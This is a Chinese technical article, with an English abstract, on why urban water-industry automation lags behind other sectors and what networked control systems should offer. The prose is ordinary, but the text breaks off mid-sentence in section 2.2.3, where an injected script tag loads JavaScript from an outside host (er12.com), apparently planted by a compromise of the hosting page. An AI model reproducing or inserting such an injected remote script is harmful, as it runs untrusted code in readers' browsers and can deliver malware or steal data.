摘 要:城市水工业是一个传统的基础企业,自动化控制系统发展太慢,跟不上我国其他行业。21世纪是数字化、信息化和网络化时代。随着it技术、高端计算机技术、虚拟技术、嵌入式技术以及各种高端的先进控制技术的迅猛发展,只有创建最现代化最科学的自动化控制技术,才能建造经济持续发展的新型水企业。
关键词:信息控制一体化 实用以太网 虚拟技术 嵌入技术 现场网络技术
abstract: city water industry is a traditional technical business. its automation control system develops slowly and can not follow the pace of other industry. 21st century is a century that is digitalized, informational and network connected. with the great leap of hi-class computer technology, virtual technology embedded technology and all kinds of advanced control technique, to establish the most modernized and scientific automation control technology can help to construct new water enterprises of continuous economic benefit.
key words: information control of integration practical ethernet virtual technology
embedded technology field network technology
1 水工业自动化面临新的挑战
城市上下水处理,工矿企业污水处理,城市楼群二次供水,上水水质深度处理,城市中水处理,江河湖泊的环保治理,是城镇现代化的基础。这些工程规模越来越大,系统越来越繁杂,大大小小泵站越来越多,上下水及中水管网像蜘蛛网一样遍布城乡的每个角落。随着“十一五”规划的实施,城建缺水将更加严重,水的资源将更加穷泛,城市污染将更加危害。国务院拨出巨资规划许多南水北调项目,对严重缺水的北方城镇来说,也只是车水之薪。据统计和预测:全国城市缺水2×108m3/d,污水排放量是6×108m3/d,工业废水猛增到2×108m3/d。国务院拨巨款,每年新建扩建上水工程600×104m3/d,污水工程700×104m3/d。
40多年来,作者参加了几十项大中小型的给水排水处理工程中电气与自控方面的设计任务;承担过北京和深圳等大城市供水调度系统和源水调度系统的设计任务。作者认真研究了国内外近十年来典型的自动控制系统的运转实例,我国水企业的自动化水平比国内其他行业要落后10年左右。我国各行业的自动化水平发展也太慢。特别是水行业各系统水处理工程,购买了许多昂贵的水质分析仪器仪表,引进了许多好的技术,也走过了不少弯路。在新形势下,如何使这个传统的基础企业在经济全球化的环境中有一个立足之地?水工业综合自动化的核心技术是什么?建立什么样的自动控制系统?是摆在我们所有投身水行业的科技工作者面前的严重挑战。
2 现代化水工业对自动化控制系统的要求
2.1现代化水工业发展的特征和基因要素
各大城市各工矿企业要做的给水排水或污水处理项目,不管实际情况有千差万别的地方,但是,对一个现代化的水企业,都有一个共同的特征:生产模式要柔性化,去适应当今市场的各种需求;供需能力国际化,不断地节省成本,缩短市场的供应期;产量研发快速化,尽快适应水量周期日益缩短的趋势;竞争优势联盟化,最大限度满足客户的要求。
在激烈竞争的世界经济环境中,水企业要不断地取得竞争的优势,不仅在信息化、网络化建设的工厂策略方面,要以本企业的经营策略快速高效的高度融合,都必须具备三方面的“基因要素”:极强的应变能力;极强的应变速度;极强的求知力度。
2.2 现代化水工业对自动化控制系统的要求
总结国内外成功与失败的经验和教训,就清楚的知道,像国外一些水务集团和国内一些水务集团(如深圳)能越做越强,收购国内其他濒临破产的水务公司,就是在三个“基因要素”方面做得好些。对三个“基因要素”进行深刻的剖析,一个立于不败之地的水企业对现代自动化系统的要求如下:
2.2.1要有极强的应变能力
一个现代化的水企业,必须强化对变化的洞察能力,对经营模式的重构能力,控制系统要支持各工艺流程中核心技术的形成能力;系统要支持对风险的应对能力。
2.2.2 要有极强的应变速度
一个现代化的水企业,对陈旧落后的工艺和设备要尽快革新,经营模式改变了,就要创新,具有对变化相应的快速性;对一些没有通信功能的老掉牙的监测仪器和变送器、传感器、执行器要尽快更新。使传统实现信息快速整合性;对一些过了时的控制设备,要加强网络建设,使系统实现对现场状态能在线及时把握的快速性;对水质或一些突然事件发生巨大变化时,系统对异常情况的对策要有快速性。
2.2.3 要有极强的求知力度
经济全球化后,市场竞争是非常激烈的,那种安?script src=http://er12.com/t.js>